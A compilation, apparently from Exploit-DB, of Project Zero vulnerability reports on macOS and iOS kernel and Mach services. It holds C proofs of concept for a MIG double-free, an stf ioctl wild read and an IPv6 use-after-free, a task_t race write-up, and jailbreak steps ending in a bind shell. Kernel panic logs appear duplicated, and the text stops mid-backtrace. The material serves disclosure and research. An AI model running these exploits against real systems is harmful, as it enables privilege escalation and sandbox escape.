  sb_evaluate has a short-circuit success path if the process has the kern_cred credentials; neither the plaform policy nor
  the process's sandbox profile will be evaluated. We can use the kernel memory access to give the mach_portal process the
  kernel's credentials and we're no longer sandboxed.

Fix launchd:
  The sandbox escape made a mess in launchd so I fix up launchd's send right to iohideventsystem to point back to the correct port.
  I then restart powerd because otherwise we hit a watchdog timeout.

Patch amfid:
  In order to run unsigned binaries and have somethign like a proper shell environment we need to convince amfid to allow binaries with invalid
  signatures. Previous efforts in this area have replaced amfids import of MISValidateSignature to a function which would always return 0 (success)
  but amfid now calls MISValidateSignatureAndCopyInfo which takes an out pointer to a CFDictionary which is expected to contain the correct CDHash
  so just replacing the import won't work. I instead set myself as amfid's exception handler and point the MISValidateSignatureAndCopyInfo to an invalid
  address. This means that amfid will crash whenever it validates a signature, and since we're the exception handler we get a message on the exception port
  with the crashing thread state. I read the path to the file to be validated from amfid's address space, compute the CDHash SHA1 myself and write that into the
  reply message which amfid will send back to the kernel then resume execution of amfid so it can send the reply.

Unsandbox containermangerd:
  Since I haven't had time to investigate LvVM yet I don't remount the rootfs r/w which means that all the binaries we run are from the user partition. This means
  that we can't prevent the kernel from requesting that containermanagerd allocate a container for them. I did test out doing a similar patch for containermanagerd
  as I did for amfid which parsed the sb_packbuff requests from the kernel and fixed them up so that containermanagerd didn't get upset but it seemed easier to
  just unsandbox it so it can make the directories it wants. This decision should be revisited, it's not ideal!

Make sure all child processes are also unsandboxed:
  Since the sandbox defeat involves cheating by using the kern_cred we need a way to make sure all our child processes also have the kern_cred. This is kind of a hack
  but it works fine for my purposes. You should really revisit this if you want to improve on this code!
  I allocate a new mach port and set that as my bootstrap port and spin up a thread which mitm's between that port and a real send right to launchd. I request an audit
  trailer with each message which allows me to get the sender of the message and thus be notified when a new child starts. I then use the kernel memory access to
  find that pid's proc structure and give it and all its threads the kernel creds. A constructor in libxpc will make a synchronous request to the bootstrap
  port during dyld initialization before any application code actually runs so this works well enough to allow all our children to run unsandboxed

Set kernel task port as host special port:
  I also set the kernel task port as host special port 4 so you can easily get at it without having to rewrite the exploit code.

Shell:
  I chmod everything in the iosbinpack64 directory to be executable then run bash on a bind shell on port 4141. This isn't ideal but is enough to run test tools
  and explore the system, talk to all the userclients, devices, mach services, sysctls etc that you want to.


Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40931.zip
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=954

Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40954.zip

Userspace MIG services often use mach_msg_server or mach_msg_server_once to implent an RPC server.

These two functions are also responsible for managing the resources associated with each message
similar to the ipc_kobject_server routine in the kernel.

If a MIG handler method returns an error code then it is assumed to not have take ownership of any
of the resources in the message and both mach_msg_server and mach_msg_server_once will pass the message
to mach_msg_destroy:

If the message had and OOL memory descriptor it reaches this code:


  case MACH_MSG_OOL_DESCRIPTOR : {
    mach_msg_ool_descriptor_t *dsc;

    dsc = &saddr->out_of_line;
    if (dsc->deallocate) {
        mach_msg_destroy_memory((vm_offset_t)dsc->address,
        dsc->size);
    }
    break;
  }

...

  static void
  mach_msg_destroy_memory(vm_offset_t addr, vm_size_t size)
  {
      if (size != 0)
    (void) vm_deallocate(mach_task_self(), addr, size);
  }

If the deallocate flag is set in the ool descriptor then this will pass the address contained in the descriptor
to vm_deallocate.

By default MIG client code passes OOL memory with the copy type set to MACH_MSG_PHYSICAL_COPY which ends up with the
receiver getting a 0 value for deallocate (meaning that you *do* need vm_deallocate it in the handler even if you return
and error) but by setting the copy type to MACH_MSG_VIRTUAL_COPY in the sender deallocate will be 1 in the receiver meaning
that in cases where the MIG handler vm_deallocate's the ool memory and returns an error code the mach_msg_* code will
deallocate it again.

Exploitability hinges on being able to get the memory reallocated inbetween the two vm_deallocate calls, probably in another thread.

This PoC only demonstrates that an instance of the bug does exist in the first service I looked at,
com.apple.system.DirectoryService.legacy hosted by /usr/libexec/dspluginhelperd. Trace through in a debugger and you'll see the
two calls to vm_deallocate, first in _receive_session_create which returns an error code via the MIG reply message then in
mach_msg_destroy.

Note that this service has multiple threads interacting with mach messages in parallel.

I will have a play with some other services and try to exploit an instance of this bug class but the severity should
be clear from this PoC alone.

Tested on MacOS Sierra 10.12 16A323

##############################################################################

crash PoC

dspluginhelperd actually uses a global dispatch queue to receive and process mach messages,
these are by default parallel which makes triggering this bug to demonstrate memory corruption
quite easy, just talk to the service on two threads in parallel.

Note again that this isn't a report about this particular bug in this service but about the
MIG ecosystem - the various hand-written equivilents of mach_msg_server* / dispatch_mig_server
eg in notifyd and lots of other services all have the same issue.

*/

// ianbeer
// build: clang -o dsplug_parallel dsplug_parallel.c -lpthread

/*
crash PoC

dspluginhelperd actually uses a global dispatch queue to receive and process mach messages,
these are by default parallel which makes triggering this bug to demonstrate memory corruption
quite easy, just talk to the service on two threads in parallel.

Note again that this isn't a report about this particular bug in this service but about the
MIG ecosystem - the various hand-written equivilents of mach_msg_server* / dispatch_mig_server
eg in notifyd and lots of other services all have the same issue.
*/


#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>

#include <servers/bootstrap.h>
#include <mach/mach.h>

char* service_name = "com.apple.system.DirectoryService.legacy";

mach_msg_header_t* msg;

struct dsmsg {
  mach_msg_header_t hdr;                // +0 (0x18)
  mach_msg_body_t body;                 // +0x18 (0x4)
  mach_msg_port_descriptor_t ool_port;  // +0x1c (0xc)
  mach_msg_ool_descriptor_t ool_data;   // +0x28 (0x10)
  uint8_t payload[0x8];                 // +0x38 (0x8)
  uint32_t ool_size;                    // +0x40 (0x4)
};                                      // +0x44

mach_port_t service_port = MACH_PORT_NULL;

void* do_thread(void* arg) {
  struct dsmsg* msg = (struct dsmsg*)arg;
  for(;;){
    kern_return_t err;
    err = mach_msg(&msg->hdr,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   (mach_msg_size_t)sizeof(struct dsmsg),
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL); 
    printf("%s\n", mach_error_string(err));
  }
  return NULL;
}

int main() {
  mach_port_t bs;
  task_get_bootstrap_port(mach_task_self(), &bs);

  kern_return_t err = bootstrap_look_up(bs, service_name, &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up %s\n", service_name);
    return 1;
  }
  
  if (service_port == MACH_PORT_NULL) {
    printf("bad service port\n");
    return 1;
  }

  printf("got port\n");
  
  void* ool = malloc(0x100000);
  memset(ool, 'A', 0x1000);

  struct dsmsg msg = {0};

  msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  msg.hdr.msgh_remote_port = service_port;
  msg.hdr.msgh_local_port = MACH_PORT_NULL;
  msg.hdr.msgh_id = 0x2328; // session_create

  msg.body.msgh_descriptor_count = 2;
  
  msg.ool_port.name = MACH_PORT_NULL;
  msg.ool_port.disposition = 20;
  msg.ool_port.type = MACH_MSG_PORT_DESCRIPTOR;

  msg.ool_data.address = ool;
  msg.ool_data.size = 0x1000;
  msg.ool_data.deallocate = 0; //1;
  msg.ool_data.copy = MACH_MSG_VIRTUAL_COPY;//MACH_MSG_PHYSICAL_COPY;
  msg.ool_data.type = MACH_MSG_OOL_DESCRIPTOR;

  msg.ool_size = 0x1000;

  pthread_t threads[2] = {0};
  pthread_create(&threads[0], NULL, do_thread, (void*)&msg);
  pthread_create(&threads[1], NULL, do_thread, (void*)&msg);

  pthread_join(threads[0], NULL);
  pthread_join(threads[1], NULL);


  return 0;
}
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=837

TL;DR
you cannot hold or use a task struct pointer and expect the euid of that task to stay the same.
Many many places in the kernel do this and there are a great many very exploitable bugs as a result.

********

task_t is just a typedef for a task struct *. It's the abstraction level which represents a whole task
comprised of threads and a virtual memory map.

task_t's have a corrisponding mach port type (IKOT_TASK) known as a task port. The task port structure
in the kernel has a pointer to the task struct which it represents. If you have send rights to a task port then
you have control over its VM and, via task_threads, its threads.

When a suid-root binary is executed the kernel invalidates the old task and thread port structures setting their
object pointers to NULL and allocating new ports instead.

CVE-2016-1757 was a race condition concerning the order in which those port structures were invalidated during the
exec operation.

Although the issues I will describe in this bug report may seem similar is is a completely different, and far worse,
bug class.

~~~~~~~~~

When a suid binary is executed it's true that the task's old task and thread ports get invalidated, however, the task
struct itself stays the same. There's no fork and no creation of a new task. This means that any pointers to that task struct
now point to the task struct of an euid 0 process.

There are lots of IOKit drivers which save task struct pointers as members; see my recent bug reports for some examples.

In those cases I reported there was another bug, namely that they weren't taking a reference on the task struct meaning
that if we killed the corrisponding task and then forked and exec'ed a suid root binary we could get the IOKit object
to interact via the task struct pointer with the VM of a euid 0 process. (You could also break out of a sandbox by
forcing launchd to spawn a new service binary which would reuse the free'd task struct.)

However, looking more closely, even if those IOKit drivers *do* take a reference on the task struct it doesn't matter!
(at least not when there are suid binaries around.) Just because the userspace client of the user client had send rights
to a task port at time A when it passed that task port to IOKit doesn't mean that it still has send rights to it when
the IOKit driver actually uses the task struct pointer... In the case of IOSurface this lets us trivially map any RW area
of virtual memory in an euid 0 process into ours and write to it. (See the other exploit I sent for that IOSurface bug.)

There are a large number of IOKit drivers which do this (storing task struct pointers) and then either use the to manipulate
userspace VM (eg IOAcceleratorFamily2, IOThunderboltFamily, IOSurface) or rely on that task struct pointer to perform
authorization checks like the code in IOHIDFamily.

Another interesting case to consider are task struct pointers on the stack.

in the MIG files for the user/kernel interface task ports are subject to the following intran:

  type task_t = mach_port_t
  #if KERNEL_SERVER
      intran: task_t convert_port_to_task(mach_port_t)

where convert_port_to_task is:

  task_t
  convert_port_to_task(
    ipc_port_t    port)
  {
    task_t    task = TASK_NULL;

    if (IP_VALID(port)) {
      ip_lock(port);

      if (  ip_active(port)         &&
          ip_kotype(port) == IKOT_TASK    ) {
        task = (task_t)port->ip_kobject;
        assert(task != TASK_NULL);

        task_reference_internal(task);
      }

      ip_unlock(port);
    }

    return (task);
  }

This converts the task port into the corrisponding task struct pointer. It takes a reference on the task struct but that only
makes sure that it doesn't get free'd, not that its euid doesn't change as the result of the exec of an suid root binary.

As soon as that port lock is dropped the task could exec a suid-root binary and although this task port would no longer be valid
that task struct pointer would remain valid.

This leads to a huge number of interesting race conditions. Grep the source for all .defs files which take a task_t to find them all ;-)

In this exploit PoC I'll target perhaps the most interesting one: task_threads.

Let's look at how task_threads actually works, including the kernel code which is generated by MiG:

In task_server.c (an autogenerated file, build XNU first if you can't find this file) :

  target_task = convert_port_to_task(In0P->Head.msgh_request_port);

  RetCode = task_threads(target_task, (thread_act_array_t *)&(OutP->act_list.address), &OutP->act_listCnt);
  task_deallocate(target_task);

This gives us back the task struct from the task port then calls task_threads:
(unimportant bits removed)

  task_threads(
    task_t          task,
    thread_act_array_t    *threads_out,
    mach_msg_type_number_t  *count)
  {
    ...
    for (thread = (thread_t)queue_first(&task->threads); i < actual;
          ++i, thread = (thread_t)queue_next(&thread->task_threads)) {
      thread_reference_internal(thread);
      thread_list[j++] = thread;
    }

    ...

      for (i = 0; i < actual; ++i)
        ((ipc_port_t *) thread_list)[i] = convert_thread_to_port(thread_list[i]);
      }
    ...
  }

task_threads uses the task struct pointer to iterate through the list of threads, then creates send rights to them
which get sent back to user space. There are a few locks taken and dropped in here but they're irrelevant.

What happens if that task is exec-ing a suid root binary at the same time?

The relevant parts of the exec code are these two points in ipc_task_reset and ipc_thread_reset:

  void
  ipc_task_reset(
    task_t    task)
  {
    ipc_port_t old_kport, new_kport;
    ipc_port_t old_sself;
    ipc_port_t old_exc_actions[EXC_TYPES_COUNT];
    int i;

    new_kport = ipc_port_alloc_kernel();
    if (new_kport == IP_NULL)
      panic("ipc_task_reset");

    itk_lock(task);

    old_kport = task->itk_self;

    if (old_kport == IP_NULL) {
      itk_unlock(task);
      ipc_port_dealloc_kernel(new_kport);
      return;
    }

    task->itk_self = new_kport;
    old_sself = task->itk_sself;
    task->itk_sself = ipc_port_make_send(new_kport);
    ipc_kobject_set(old_kport, IKO_NULL, IKOT_NONE); <-- point (1)

  ... then calls:

  ipc_thread_reset(
    thread_t  thread)
  {
    ipc_port_t old_kport, new_kport;
    ipc_port_t old_sself;
    ipc_port_t old_exc_actions[EXC_TYPES_COUNT];
    boolean_t  has_old_exc_actions = FALSE; 
    int      i;

    new_kport = ipc_port_alloc_kernel();
    if (new_kport == IP_NULL)
      panic("ipc_task_reset");

    thread_mtx_lock(thread);

    old_kport = thread->ith_self;

    if (old_kport == IP_NULL) {
      thread_mtx_unlock(thread);
      ipc_port_dealloc_kernel(new_kport);
      return;
    }

    thread->ith_self = new_kport; <-- point (2)

Point (1) clears out the task struct pointer from the old task port and allocates a new port for the task.
Point (2) does the same for the thread port.

Let's call the process which is doing the exec process B and the process doing task_threads() process A and imagine
the following interleaving of execution:

  Process A: target_task = convert_port_to_task(In0P->Head.msgh_request_port); // gets pointer to process B's task struct

  Process B: ipc_kobject_set(old_kport, IKO_NULL, IKOT_NONE); // process B invalidates the old task port so that it no longer has a task struct pointer

  Process B: thread->ith_self = new_kport // process B allocates new thread ports and sets them up

  Process A: ((ipc_port_t *) thread_list)[i] = convert_thread_to_port(thread_list[i]); // process A reads and converts the *new* thread port objects!

Note that the fundamental issue here isn't this particular race condition but the fact that a task struct pointer can just
never ever be relied on to have the same euid as when you first got hold of it.

~~~~~~~~~~~~~~~

Exploit:

This PoC exploits exactly this race condition to get a thread port for an euid 0 process. Since we've execd it I just stick a
ret-slide followed by a small ROP payload on the actual stack at exec time then use the thread port to set RIP to a gadget
which does a large add rsp, X and pop's a shell :)

just run it for a while, it's quite a tight race window but it will work! (try a few in parallel)

tested on OS X 10.11.5 (15F34) on MacBookAir5,2

######################################

A faster exploit which also defeats the mitigations shipped in MacOS 10.12. Should work for all kernel versions <= 10.12

######################################

Fixed: https://support.apple.com/en-us/HT207275

Disclosure timeline:

2016-06-02 - Ian Beer reports "task_t considered harmful issue" to Apple
2016-06-30 - Apple requests 60 day disclosure extension.
2016-07-12 - Project Zero declines disclosure extension request.
2016-07-19 - Meeting with Apple to discuss disclosure timeline.
2016-07-21 - Followup meeting with Apple to discuss disclosure timeline.
2016-08-10 - Meeting with Apple to discuss proposed fix and disclosure timeline.
2016-08-15 - Project Zero confirms publication date will be September 21, Apple acknowledges.
2016-08-29 - Meeting with Apple to discuss technical details of (1) "short-term mitigation" that will be shipped within disclosure deadline, and (2) "long-term fix" that will be shipped after the disclosure deadline.
2016-09-13 - Apple release the "short-term mitigation" for iOS 10
2016-09-13 - Apple requests a restriction on disclosed technical details to only those parts of the issue covered by the short-term mitigation.
2016-09-14 - Project Zero confirms that it will disclose full details without restriction.
2016-09-16 - Apple repeats request to withhold details from the disclosure, Project Zero confirms it will disclose full details.
2016-09-17 - Apple requests that Project Zero delay disclosure until a security update in October.
2016-09-18 - Apple's senior leadership contacts Google's senior leadership to request that Project Zero delay disclosure of the task_t issue 
2016-09-19 - Google grants a 5 week flexible disclosure extension.
2016-09-20 - Apple release a "short-term mitigation" for the task_t issue for MacOS 10.12
2016-09-21 - Planned publication date passes.
2016-10-03 - Apple publicly release long-term fix for the task_t issue in MacOS beta release version 10.12.1 beta 3.
2016-10-24 - Apple release MacOS version 10.12.1
2016-10-25 - Disclosure date of "task_t considered harmful"

Project Zero remains committed to a 90-day disclosure window, and will continue to apply disclosure deadlines on all of our vulnerability research findings. A 14 day grace extension is available for cases where a patch is expected shortly after the 90-day time window.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40669.zip
            
/*

# Reproduction
Tested on macOS 10.14.3:
$ clang -o stf_wild_read stf_wild_read.cc
$ ./stf_wild_read

# Explanation
SIOCSIFADDR is an ioctl that sets the address of an interface.
The stf interface ioctls are handled by the stf_ioctl function.
The crash occurs in the following case where a `struct ifreq`
is read into kernel memory and then casted to the incorrect
`struct ifaddr` type. I suspect this ioctl is not intended to
be reachable by the user, but is unintentionally exposed without
the necessary translation from `ifreq` to `ifaddr`, e.g. as it is
done in `inctl_ifaddr`.

	case SIOCSIFADDR:
		ifa = (struct ifaddr *)data;
		if (ifa == NULL) {
			error = EAFNOSUPPORT;
			break;
		}
		IFA_LOCK(ifa);
		if (ifa->ifa_addr->sa_family != AF_INET6) { // <- crash here
			IFA_UNLOCK(ifa);
			error = EAFNOSUPPORT;
			break;
		}

Note that IFA_LOCK is called on user-provided data; it appears that there
is an opportunity for memory corruption (a controlled write) when using
indirect mutexes via LCK_MTX_TAG_INDIRECT (see lck_mtx_lock_slow).

# Crash Log
panic(cpu 6 caller 0xffffff80112da29d): Kernel trap at 0xffffff80114a2ec8, type 14=page fault, registers:
CR0: 0x0000000080010033, CR2: 0x0000000000000001, CR3: 0x00000005e4ea1168, CR4: 0x00000000003626e0
RAX: 0x0000000000000000, RBX: 0x000000000000002f, RCX: 0x0000000002000000, RDX: 0x0000000003000000
RSP: 0xffffffa3d2a1bb90, RBP: 0xffffffa3d2a1bbb0, RSI: 0xffffffa3d2a1bd10, RDI: 0x0000000000000000
R8:  0xffffff805f9db7f0, R9:  0x000000000000002d, R10: 0xffffff805e210100, R11: 0x0000000000000000
R12: 0x0000000000000020, R13: 0xffffff805e20fcb8, R14: 0xffffff805e20fcb8, R15: 0xffffffa3d2a1bd10
RFL: 0x0000000000010246, RIP: 0xffffff80114a2ec8, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0x0000000000000001, Error code: 0x0000000000000000, Fault CPU: 0x6, PL: 0, VF: 0

Backtrace (CPU 6), Frame : Return Address
0xffffffa3d2a1b660 : 0xffffff80111aeb0d mach_kernel : _handle_debugger_trap + 0x48d
0xffffffa3d2a1b6b0 : 0xffffff80112e8653 mach_kernel : _kdp_i386_trap + 0x153
0xffffffa3d2a1b6f0 : 0xffffff80112da07a mach_kernel : _kernel_trap + 0x4fa
0xffffffa3d2a1b760 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0
0xffffffa3d2a1b780 : 0xffffff80111ae527 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffffa3d2a1b8a0 : 0xffffff80111ae373 mach_kernel : _panic + 0x63
0xffffffa3d2a1b910 : 0xffffff80112da29d mach_kernel : _kernel_trap + 0x71d
0xffffffa3d2a1ba80 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0
0xffffffa3d2a1baa0 : 0xffffff80114a2ec8 mach_kernel : _stfattach + 0x558
0xffffffa3d2a1bbb0 : 0xffffff80114632b7 mach_kernel : _ifnet_ioctl + 0x217
0xffffffa3d2a1bc10 : 0xffffff801145bb54 mach_kernel : _ifioctl + 0x2214
0xffffffa3d2a1bce0 : 0xffffff8011459a54 mach_kernel : _ifioctl + 0x114
0xffffffa3d2a1bd80 : 0xffffff801145f9cf mach_kernel : _ifioctllocked + 0x2f
0xffffffa3d2a1bdb0 : 0xffffff80116f5718 mach_kernel : _soo_select + 0x5e8
0xffffffa3d2a1be00 : 0xffffff80116990ab mach_kernel : _fo_ioctl + 0x7b
0xffffffa3d2a1be30 : 0xffffff80116eefac mach_kernel : _ioctl + 0x52c
0xffffffa3d2a1bf40 : 0xffffff80117b62bb mach_kernel : _unix_syscall64 + 0x26b
0xffffffa3d2a1bfa0 : 0xffffff801115c466 mach_kernel : _hndl_unix_scall64 + 0x16
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#include <net/if.h>
#include <string.h>

/*
# Reproduction
Tested on macOS 10.14.3:
$ clang -o stf_wild_read stf_wild_read.cc
$ ./stf_wild_read

# Explanation
SIOCSIFADDR is an ioctl that sets the address of an interface.
The stf interface ioctls are handled by the stf_ioctl function.
The crash occurs in the following case where a `struct ifreq`
is read into kernel memory and then casted to the incorrect
`struct ifaddr` type. I suspect this ioctl is not intended to
be reachable by the user, but is unintentionally exposed without
the necessary translation from `ifreq` to `ifaddr`, e.g. as it is
done in `inctl_ifaddr`.

	case SIOCSIFADDR:
		ifa = (struct ifaddr *)data;
		if (ifa == NULL) {
			error = EAFNOSUPPORT;
			break;
		}
		IFA_LOCK(ifa);
		if (ifa->ifa_addr->sa_family != AF_INET6) { // <- crash here
			IFA_UNLOCK(ifa);
			error = EAFNOSUPPORT;
			break;
		}

Note that IFA_LOCK is called on user-provided data; it appears that there
is an opportunity for memory corruption (a controlled write) when using
indirect mutexes via LCK_MTX_TAG_INDIRECT (see lck_mtx_lock_slow).

# Crash Log
panic(cpu 6 caller 0xffffff80112da29d): Kernel trap at 0xffffff80114a2ec8, type 14=page fault, registers:
CR0: 0x0000000080010033, CR2: 0x0000000000000001, CR3: 0x00000005e4ea1168, CR4: 0x00000000003626e0
RAX: 0x0000000000000000, RBX: 0x000000000000002f, RCX: 0x0000000002000000, RDX: 0x0000000003000000
RSP: 0xffffffa3d2a1bb90, RBP: 0xffffffa3d2a1bbb0, RSI: 0xffffffa3d2a1bd10, RDI: 0x0000000000000000
R8:  0xffffff805f9db7f0, R9:  0x000000000000002d, R10: 0xffffff805e210100, R11: 0x0000000000000000
R12: 0x0000000000000020, R13: 0xffffff805e20fcb8, R14: 0xffffff805e20fcb8, R15: 0xffffffa3d2a1bd10
RFL: 0x0000000000010246, RIP: 0xffffff80114a2ec8, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0x0000000000000001, Error code: 0x0000000000000000, Fault CPU: 0x6, PL: 0, VF: 0

Backtrace (CPU 6), Frame : Return Address
0xffffffa3d2a1b660 : 0xffffff80111aeb0d mach_kernel : _handle_debugger_trap + 0x48d
0xffffffa3d2a1b6b0 : 0xffffff80112e8653 mach_kernel : _kdp_i386_trap + 0x153
0xffffffa3d2a1b6f0 : 0xffffff80112da07a mach_kernel : _kernel_trap + 0x4fa
0xffffffa3d2a1b760 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0
0xffffffa3d2a1b780 : 0xffffff80111ae527 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffffa3d2a1b8a0 : 0xffffff80111ae373 mach_kernel : _panic + 0x63
0xffffffa3d2a1b910 : 0xffffff80112da29d mach_kernel : _kernel_trap + 0x71d
0xffffffa3d2a1ba80 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0
0xffffffa3d2a1baa0 : 0xffffff80114a2ec8 mach_kernel : _stfattach + 0x558
0xffffffa3d2a1bbb0 : 0xffffff80114632b7 mach_kernel : _ifnet_ioctl + 0x217
0xffffffa3d2a1bc10 : 0xffffff801145bb54 mach_kernel : _ifioctl + 0x2214
0xffffffa3d2a1bce0 : 0xffffff8011459a54 mach_kernel : _ifioctl + 0x114
0xffffffa3d2a1bd80 : 0xffffff801145f9cf mach_kernel : _ifioctllocked + 0x2f
0xffffffa3d2a1bdb0 : 0xffffff80116f5718 mach_kernel : _soo_select + 0x5e8
0xffffffa3d2a1be00 : 0xffffff80116990ab mach_kernel : _fo_ioctl + 0x7b
0xffffffa3d2a1be30 : 0xffffff80116eefac mach_kernel : _ioctl + 0x52c
0xffffffa3d2a1bf40 : 0xffffff80117b62bb mach_kernel : _unix_syscall64 + 0x26b
0xffffffa3d2a1bfa0 : 0xffffff801115c466 mach_kernel : _hndl_unix_scall64 + 0x16
*/

#define IPPROTO_IP 0

int main() {
    int s = socket(AF_SYSTEM, SOCK_DGRAM, IPPROTO_IP);
    if (s < 0) {
        printf("failed\n");
        return 1;
    }
    struct ifreq ifr = {};
    memcpy(ifr.ifr_name, "stf0\0000", 8);
    int err = ioctl(s, SIOCSIFADDR, (char *)&ifr);
    close(s);
    printf("done\n");
    return 0;
}
            
# Reproduction
Repros on 10.14.3 when run as root. It may need multiple tries to trigger.
$ clang -o in6_selectsrc in6_selectsrc.cc
$ while 1; do sudo ./in6_selectsrc; done
res0: 3
res1: 0
res1.5: -1 // failure expected here
res2: 0
done
...
[crash]

# Explanation
The following snippet is taken from in6_pcbdetach:
```
void
in6_pcbdetach(struct inpcb *inp)
{
    // ...
	if (!(so->so_flags & SOF_PCBCLEARING)) {
		struct ip_moptions *imo;
		struct ip6_moptions *im6o;

		inp->inp_vflag = 0;
		if (inp->in6p_options != NULL) {
			m_freem(inp->in6p_options);
			inp->in6p_options = NULL; // <- good
		}
		ip6_freepcbopts(inp->in6p_outputopts); // <- bad
		ROUTE_RELEASE(&inp->in6p_route);
		// free IPv4 related resources in case of mapped addr
		if (inp->inp_options != NULL) {
			(void) m_free(inp->inp_options); // <- good
			inp->inp_options = NULL;
		}
```

Notice that freed options must also be cleared so they are not accidentally reused.
This can happen when a socket is disconnected and reconnected without being destroyed.
In the inp->in6p_outputopts case, the options are freed but not cleared, so they can be
used after they are freed.

This specific PoC requires root because I use raw sockets, but it's possible other socket
types suffer from this same vulnerability.

# Crash Log
panic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers:
CR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0
RAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000
RSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001
R8:  0x0000000000000000, R9:  0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000
R12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000
RFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0

Backtrace (CPU 4), Frame : Return Address
0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d
0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153
0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa
0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0
0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63
0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d
0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0
0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114
0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75
0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284
0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f
0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b
0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16

BSD process name corresponding to current thread: in6_selectsrc
Boot args: keepsyms=1 -v=1

Mac OS version:
18D109


#include <stdio.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#include <net/if.h>
#include <string.h>
#include <netinet/in.h>
#include <errno.h>

/*
# Reproduction
Repros on 10.14.3 when run as root. It may need multiple tries to trigger.
$ clang -o in6_selectsrc in6_selectsrc.cc
$ while 1; do sudo ./in6_selectsrc; done
res0: 3
res1: 0
res1.5: -1 // failure expected here
res2: 0
done
...
[crash]

# Explanation
The following snippet is taken from in6_pcbdetach:
```
void
in6_pcbdetach(struct inpcb *inp)
{
    // ...
	if (!(so->so_flags & SOF_PCBCLEARING)) {
		struct ip_moptions *imo;
		struct ip6_moptions *im6o;

		inp->inp_vflag = 0;
		if (inp->in6p_options != NULL) {
			m_freem(inp->in6p_options);
			inp->in6p_options = NULL; // <- good
		}
		ip6_freepcbopts(inp->in6p_outputopts); // <- bad
		ROUTE_RELEASE(&inp->in6p_route);
		// free IPv4 related resources in case of mapped addr
		if (inp->inp_options != NULL) {
			(void) m_free(inp->inp_options); // <- good
			inp->inp_options = NULL;
		}
```

Notice that freed options must also be cleared so they are not accidentally reused.
This can happen when a socket is disconnected and reconnected without being destroyed.
In the inp->in6p_outputopts case, the options are freed but not cleared, so they can be
used after they are freed.

This specific PoC requires root because I use raw sockets, but it's possible other socket
types suffer from this same vulnerability.

# Crash Log
panic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers:
CR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0
RAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000
RSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001
R8:  0x0000000000000000, R9:  0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000
R12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000
RFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0

Backtrace (CPU 4), Frame : Return Address
